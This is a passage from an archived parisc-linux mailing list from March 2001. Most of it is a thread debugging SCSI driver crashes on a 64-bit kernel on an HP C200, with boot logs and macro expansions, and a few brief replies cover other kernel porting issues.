sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xfffffffff2ffe000
CACHE TEST FAILED: timeout.
CACHE INCORRECTLY CONFIGURED.
sym53c875-0: giving up ...
sim700: Configuring 53c710 (SCSI-ID 7) at ffffffffffd06100, IRQ 150,
options 0
scsi0: Revision 0x2

The sim700 HPMC is caused by the following line of code in the
sim700_init_host function.

#if 1
    NCR_write32(DSP_REG, TARGDATA(HOST_ID)->ba->script+Ent_test1/4+3);
<-- This line of code causes the HPMC
#else
    NCR_write32(DSP_REG, TARGDATA(HOST_ID)->ba->script+Ent_test1/4);
#endif

When I run the NCR_write32 line through the preprocessor the statement
gets expanded into this:

{ unsigned long a = (unsigned long)(host->base) + (unsigned long)(0x2c);
u32 v = (hostdata->options & 0x00000001) ?
(__builtin_constant_p((__u32)(((u32)(((struct sim700_target *)
(hostdata->targets + ((7) << 12)))->ba->script+0x000004a0/4+3)))) ? ({
__u32 __x = ((((u32)(((struct sim700_target *) (hostdata->targets + ((7)
<< 12)))->ba->script+0x000004a0/4+3)))); ((__u32)( (((__u32)(__x) &
(__u32)0x000000ffUL) << 24) | (((__u32)(__x) & (__u32)0x0000ff00UL) <<
8) | (((__u32)(__x) & (__u32)0x00ff0000UL) >> 8) | (((__u32)(__x) &
(__u32)0xff000000UL) >> 24) )); }) : __fswab32((((u32)(((struct
sim700_target *) (hostdata->targets + ((7) <<
12)))->ba->script+0x000004a0/4+3))))) : (u32)(((struct sim700_target *)
(hostdata->targets + ((7) << 12)))->ba->script+0x000004a0/4+3); if
(sim700_debug & 0x0002) printk("NCR: %08x => %lx\n", v, a);
_gsc_writel((v),(void *)(a)); };


Also, the HPMC chassis codes are identical to the sym53c8xx problem.


Following the previous idea of commenting out the offending lines
produces this as the scsi boot up code:

SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
sym53c875-0: NCR clock is 40401KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xfffffffff2ffe000
CACHE TEST FAILED: timeout.
CACHE INCORRECTLY CONFIGURED.
sym53c875-0: giving up ...
sim700: Configuring 53c710 (SCSI-ID 7) at ffffffffffd06100, IRQ 150,
options 0
scsi0: Revision 0x2
Post test1, istat 00, sstat0 00, dstat 80
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x00000000
scsi0: Chip register contents:
 (script[0] at virt 0000000011f20000, bus a8000)
 00  sien:  af  sdid:  00  scntl1:20  scntl0:cc
 04  socl:  00  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:00  sstat1:00  sstat0:00  dstat: 80
 10  dsa:   00000000
 14  ctest3:df  ctest2:21  ctest1:f0  ctest0:00
 18  ctest7:90  ctest6:00  ctest5:00  ctest4:00
 1C  temp:  00000000
 20  lcrc:  00  ctest8:20  istat: 02  dfifo: 00
 24  dbc:   00000000  dnad:  00000000  dsp:   00000000
 30  dsps:  00000000  scratch:00000000
 38  dcntl: c1  dwt:   00  dien:  3d  dmode: e0
 3C  adder: 00000000
Warning : device (10, 0x56, 0x0, 0x82, 0x0) NOT claimed by Lasi SCSI
53c710
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 67
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential

I have not taken this any further .... I just wanted to demonstrate that
line of code was causing the
HPMC.

Does anyone have any ideas on what might be causing this?  Any pointers
on how to continue
debugging this problem?

Thanks,

- Ryan

P.S. I have quite a bit of code in my local tree reguarding the
PDC translation and some 64-bit
driver cleanups.  I have been working on committing the 64-bit driver
cleanups ... I would
like to wait until I see the 64-bit kernel boot on the C200 before
I commit the PDC translation
code.  If anyone wants a patch from my local tree for the
PDC translation stuff, send me
email and I'll produce them a patch.







From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx driver with 64-bit kernel on C200.
Date: Sun, 4 Mar 2001 04:18:33 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20010304041833.B1865@parcelfarce.linux.theplanet.co.uk>
References: <3AA1BA3F.A7C79E31@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619926 16561 80.91.229.3 (22 Nov 2014 01:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  3 21:18:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 827794A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Mar 2001 21:18:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ZPyb-00018e-00; Sun, 04 Mar 2001 04:18:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AA1BA3F.A7C79E31@uswest.net>; from rbradetich@uswest.net on Sat, Mar 03, 2001 at 08:45:03PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10441

On Sat, Mar 03, 2001 at 08:45:03PM -0700, Ryan Bradetich wrote:
> When I run OUTL(nc_dsp,pc) through the preprocessor the statement gets
> expanded into this:
> 
> _gsc_writel(((__builtin_constant_p((__u32)((((pc))))) ? ({ __u32 __x =
> (((((pc))))); ((__u32)( (((__u32)(__x) & (__u32)0x000000ffUL) << 24) |
> (((__u32)(__x) & (__u32)0x0000ff00UL) << 8) | (((__u32)(__x) &
> (__u32)0x00ff0000UL) >> 8) | (((__u32)(__x) & (__u32)0xff000000UL) >>
> 24) )); }) : __fswab32(((((pc))))))),(void *)((char *)np->reg +
> (((size_t) &((struct ncr_reg *)0)->nc_dsp))));

I guess you'd like this decoded?  Let's see.  `pc' is clearly not a constant,
so __builtin_constant_p returns false, so we can simplify this down to:

_gsc_writel(__fswab32(pc) ,
 (void *)((char *)np->reg + (((size_t) &((struct ncr_reg *)0)->nc_dsp))));

which leads me to ask `what value does `pc' have?'

I suspect you want to put debugging code in _gsc_writel to tell you where
you're trying to perform IO to.

My suspicion is that you're writing to the 32 bit IO space in 64-bit mode,
which is juts not going to work.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx driver with 64-bit kernel on C200.
Date: Sat, 03 Mar 2001 23:50:43 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <3AA1E5C3.1BF30A8C@uswest.net>
References: <3AA1BA3F.A7C79E31@uswest.net> <20010304041833.B1865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619926 16564 80.91.229.3 (22 Nov 2014 01:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  3 23:51:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id E6A474A19
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Mar 2001 23:51:00 -0700 (MST)
Original-Received: (qmail 16616 invoked by alias); 4 Mar 2001 06:50:44 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 16600 invoked by uid 0); 4 Mar 2001 06:50:44 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 4 Mar 2001 06:50:44 -0000
Original-Sender: rbrad@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10442

Willy,

Thanks for decoding that for me.... it does make more sense now :)
Here is the debug messages I added to sym53c8xx.c

 pc  = NCB_SCRIPTH0_PHYS (np, snooptest);
 printk("pc: %x\n", pc);
 host_wr = 1;
 ncr_wr  = 2;
 /*
 ** Set memory and register.
 */
 np->ncr_cache = cpu_to_scr(host_wr);
 OUTL (nc_temp, ncr_wr);
 /*
 ** Start script (exchange values)
 */
 OUTL (nc_dsa, np->p_ncb);
 printk("val: %x\n", __fswab32(pc));
 printk("addr: %p\n", (void *)((char *)np->reg + (((size_t) &((struct ncr_reg
*)0)->nc_dsp))));
 OUTL (nc_dsp, pc);

And here is the scsi boot output:

SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
sym53c875-0: NCR clock is 40401KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xfffffffff2ffe000
pc: 98dd8
val: d88d0900
addr: fffffffff2ffd02c

Here is the function for _gsc_writel:
    void _gsc_writel(u32 val, void *addr)

So it appears to me the correct arguments are being passed to the _gsc_writel
function.
I'm not sure about the values being passed in, but the types look correct, and
the
address is properly sign extended.

- Ryan


Matthew Wilcox wrote:

> On Sat, Mar 03, 2001 at 08:45:03PM -0700, Ryan Bradetich wrote:
> > When I run OUTL(nc_dsp,pc) through the preprocessor the statement gets
> > expanded into this:
> >
> > _gsc_writel(((__builtin_constant_p((__u32)((((pc))))) ? ({ __u32 __x =
> > (((((pc))))); ((__u32)( (((__u32)(__x) & (__u32)0x000000ffUL) << 24) |
> > (((__u32)(__x) & (__u32)0x0000ff00UL) << 8) | (((__u32)(__x) &
> > (__u32)0x00ff0000UL) >> 8) | (((__u32)(__x) & (__u32)0xff000000UL) >>
> > 24) )); }) : __fswab32(((((pc))))))),(void *)((char *)np->reg +
> > (((size_t) &((struct ncr_reg *)0)->nc_dsp))));
>
> I guess you'd like this decoded?  Let's see.  `pc' is clearly not a constant,
> so __builtin_constant_p returns false, so we can simplify this down to:
>
> _gsc_writel(__fswab32(pc) ,
>  (void *)((char *)np->reg + (((size_t) &((struct ncr_reg *)0)->nc_dsp))));
>
> which leads me to ask `what value does `pc' have?'
>
> I suspect you want to put debugging code in _gsc_writel to tell you where
> you're trying to perform IO to.
>
> My suspicion is that you're writing to the 32 bit IO space in 64-bit mode,
> which is juts not going to work.
>
> --
> Revolutions do not require corporate support.





From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Self-Hosting
Date: Sun, 4 Mar 2001 22:15:52 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103042211020.32448-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103021230140.12009-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619927 16569 80.91.229.3 (22 Nov 2014 01:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 04:16:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93C4B4A19
	for <parisc-linux@parisc-linux.org>; Sun,  4 Mar 2001 04:16:09 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA01670;
	Sun, 4 Mar 2001 22:15:52 +1100
In-Reply-To: <Pine.LNX.4.21.0103021230140.12009-100000@maestro.symsys.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10443

On Fri, 2 Mar 2001, Greg Ingram wrote:

> 2)  conflicting types for mem{cmp|cpy|set} built-ins 
> 
> Lots and lots of warnings.  Should I add -fno-builtin?

No.  I haven't heard any complaints about my proposed change to fix the
warnings, so I'm going to commit it.

Alan Modra





From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] confused about kernel printk behavior...
Date: Sun, 4 Mar 2001 22:39:06 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103042237440.32448-100000@front.linuxcare.com.au>
References: <20010302190848.U27829@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619927 16571 80.91.229.3 (22 Nov 2014 01:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 04:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9E894A19
	for <parisc-linux@parisc-linux.org>; Sun,  4 Mar 2001 04:39:16 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA02228;
	Sun, 4 Mar 2001 22:39:06 +1100
In-Reply-To: <20010302190848.U27829@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10444

On Fri, 2 Mar 2001, Randolph Chung wrote:

> stabledev_read: pos = 20536, count = 0
> stabledev_read: pos = 1
> stabledev_read: count = 4096
> 
> why is that?  this is a 32-bit kernel built using xc-20010215

loff_t is `long long' on 32-bit parisc.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx driver with 64-bit kernel on C200.
Date: Sun, 04 Mar 2001 09:57:07 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <3AA273E3.679B940E@uswest.net>
References: <3AA1BA3F.A7C79E31@uswest.net> <20010304041833.B1865@parcelfarce.linux.theplanet.co.uk> <3AA1E5C3.1BF30A8C@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619927 16573 80.91.229.3 (22 Nov 2014 01:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:07 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 09:57:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id 35B534A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Mar 2001 09:57:40 -0700 (MST)
Original-Received: (qmail 32328 invoked by alias); 4 Mar 2001 16:57:08 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 32306 invoked by uid 0); 4 Mar 2001 16:57:07 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 4 Mar 2001 16:57:07 -0000
Original-Sender: rbrad@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10445

I also put some debug code in the _gsc_writel command as you
suggested ..... Here is the output (I let it run overnight because
the added debug to _gsc_writel caused the run-time to slow
down quite considerably (I let it run over night....)

SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
_gsc_writel val: 9804 addr: fffffffff2000064
_gsc_writel val: 9808 addr: fffffffff2000064
_gsc_writel val: 980c addr: fffffffff2000064
_gsc_writel val: 980c addr: fffffffff2000064
_gsc_writel val: 9804 addr: fffffffff2000064
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
_gsc_writel val: 9800 addr: fffffffff2000064
_gsc_writel val: 9804 addr: fffffffff2000064
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
_gsc_writel val: 9800 addr: fffffffff2000064
_gsc_writel val: 9804 addr: fffffffff2000064
sym53c8xx: 53c875 detected
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
sym53c875-0: NCR clock is 40401KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xfffffffff2ffe000
_gsc_writel val: ffffffff addr: fffffffff2ffd00c
pc: 98dd8
_gsc_writel val: 2000000 addr: fffffffff2ffd01c
_gsc_writel val: 800800 addr: fffffffff2ffd010
val: d88d0900
addr: fffffffff2ffd02c
_gsc_writel val: d88d0900 addr: fffffffff2ffd02c


Anyways hope this additional information provide some insight.

Thanks,

- Ryan


Ryan Bradetich wrote:

> Willy,
>
> Thanks for decoding that for me.... it does make more sense now :)
> Here is the debug messages I added to sym53c8xx.c
>
>  pc  = NCB_SCRIPTH0_PHYS (np, snooptest);
>  printk("pc: %x\n", pc);
>  host_wr = 1;
>  ncr_wr  = 2;
>  /*
>  ** Set memory and register.
>  */
>  np->ncr_cache = cpu_to_scr(host_wr);
>  OUTL (nc_temp, ncr_wr);
>  /*
>  ** Start script (exchange values)
>  */
>  OUTL (nc_dsa, np->p_ncb);
>  printk("val: %x\n", __fswab32(pc));
>  printk("addr: %p\n", (void *)((char *)np->reg + (((size_t) &((struct ncr_reg
> *)0)->nc_dsp))));
>  OUTL (nc_dsp, pc);
>
> And here is the scsi boot output:
>
> SCSI subsystem driver Revision: 1.00
> sym53c8xx: at PCI bus 0, device 19, function 0
> sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
> sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
> sym53c8xx: 53c875 detected
> sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 195
> sym53c875-0: NCR clock is 40401KHz
> sym53c875-0: ID 7, Fast-20, Parity Checking
> sym53c875-0: on-chip RAM at 0xfffffffff2ffe000
> pc: 98dd8
> val: d88d0900
> addr: fffffffff2ffd02c
>
> Here is the function for _gsc_writel:
>     void _gsc_writel(u32 val, void *addr)
>
> So it appears to me the correct arguments are being passed to the _gsc_writel
> function.
> I'm not sure about the values being passed in, but the types look correct, and
> the
> address is properly sign extended.
>
> - Ryan
>
> Matthew Wilcox wrote:
>
> > On Sat, Mar 03, 2001 at 08:45:03PM -0700, Ryan Bradetich wrote:
> > > When I run OUTL(nc_dsp,pc) through the preprocessor the statement gets
> > > expanded into this:
> > >
> > > _gsc_writel(((__builtin_constant_p((__u32)((((pc))))) ? ({ __u32 __x =
> > > (((((pc))))); ((__u32)( (((__u32)(__x) & (__u32)0x000000ffUL) << 24) |
> > > (((__u32)(__x) & (__u32)0x0000ff00UL) << 8) | (((__u32)(__x) &
> > > (__u32)0x00ff0000UL) >> 8) | (((__u32)(__x) & (__u32)0xff000000UL) >>
> > > 24) )); }) : __fswab32(((((pc))))))),(void *)((char *)np->reg +
> > > (((size_t) &((struct ncr_reg *)0)->nc_dsp))));
> >
> > I guess you'd like this decoded?  Let's see.  `pc' is clearly not a constant,
> > so __builtin_constant_p returns false, so we can simplify this down to:
> >
> > _gsc_writel(__fswab32(pc) ,
> >  (void *)((char *)np->reg + (((size_t) &((struct ncr_reg *)0)->nc_dsp))));
> >
> > which leads me to ask `what value does `pc' have?'
> >
> > I suspect you want to put debugging code in _gsc_writel to tell you where
> > you're trying to perform IO to.
> >
> > My suspicion is that you're writing to the 32 bit IO space in 64-bit mode,
> > which is juts not going to work.
> >
> > --
> > Revolutions do not require corporate support.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jgarzik@mandrakesoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Sun, 04 Mar 2001 12:22:04 -0500
Organization: MandrakeSoft
Lines: 24
Approved: news@gmane.org
Message-ID: <3AA279BC.D85A84AD@mandrakesoft.com>
References: <200011092012.MAA06943@milano.cup.hp.com> <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk> <200011101016.CAA12058@pizda.ninka.net> <20001110111220.J32715@linuxcare.com> <200011101126.DAA12490@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619928 16576 80.91.229.3 (22 Nov 2014 01:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:08 +0000 (UTC)
Cc: rhirst@linuxcare.com, matthew@wil.cx, grundler@cup.hp.com,
	parisc-linux@thepuffingroup.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 10:22:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64DC64A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Mar 2001 10:22:16 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA15696
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Mar 2001 10:17:13 -0700
Original-Received: (qmail 8260 invoked by uid 15267); 4 Mar 2001 17:22:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8252 invoked from network); 4 Mar 2001 17:22:05 -0000
Original-Received: from panic.ohr.gatech.edu (HELO havoc.gtf.org) (postfix@130.207.47.194)
  by mailserv2.iuinc.com with SMTP; 4 Mar 2001 17:22:05 -0000
Original-Received: from mandrakesoft.com (adsl-20-73-169.asm.bellsouth.net [66.20.73.169])
	by havoc.gtf.org (Postfix) with ESMTP
	id 9CF091F6C; Sun,  4 Mar 2001 12:22:04 -0500 (EST)
Original-Sender: jgarzik@havoc.gtf.org
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3-pre1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10446

"David S. Miller" wrote:
> 
>    Date: Fri, 10 Nov 2000 11:12:20 +0000
>    From: Richard Hirst <rhirst@linuxcare.com>
> 
>    I've quoted the whole of Grants message below, so you can see the
>    context.  It looks like tulip is treating zero as meaning it
>    doesn't have anything to pci_unmap...
> 
> Thank you for the clarification.
> 
> Jeff, this is in fact a bug, please fix :-)

Fixed in the latest driver (which Alan has).

Some other drivers need fixing for this, too...

-- 
Jeff Garzik       | "You see, in this world there's two kinds of
Building 1024     |  people, my friend: Those with loaded guns
MandrakeSoft      |  and those who dig. You dig."  --Blondie




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Shared mmaps
Date: Mon, 5 Mar 2001 00:41:27 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010305004127.I1865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619928 16579 80.91.229.3 (22 Nov 2014 01:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 17:41:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F84D4A19
	for <parisc-linux@parisc-linux.org>; Sun,  4 Mar 2001 17:41:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Zj43-0004Oy-00
	for parisc-linux@parisc-linux.org; Mon, 05 Mar 2001 00:41:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10447

Sorry, I meant to cc this list on
http://mail.nl.linux.org/linux-mm/2001-03/msg00011.html

if you're interested in the shared mmap issue, you can follow the thread
on that archive.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TODO-list entry of "HIL keyboard driver needs updating"
Date: Mon, 5 Mar 2001 05:47:35 +0100 (MET)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0103050541350.19997-100000@ior.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619928 16582 80.91.229.3 (22 Nov 2014 01:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:08 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 21:47:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B2084A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Mar 2001 21:47:36 -0700 (MST)
Original-Received: from ior.acc.umu.se (maswan@ior.acc.umu.se [130.239.18.208])
	by khan.acc.umu.se (8.11.2/8.11.2) with ESMTP id f254lZS11571
	for <parisc-linux@lists.parisc-linux.org>; Mon, 5 Mar 2001 05:47:35 +0100 (MET)
Xref: news.gmane.org gmane.linux.ports.parisc:10448

I'm working on migrating the TODO list to the BTS, and I didn't found any
info on if this was active or old in the mailinglist archive or on IRC.

The entry is:

* HIL keyboard driver needs updating (Brian and Alex has access to
  HIL documentation)

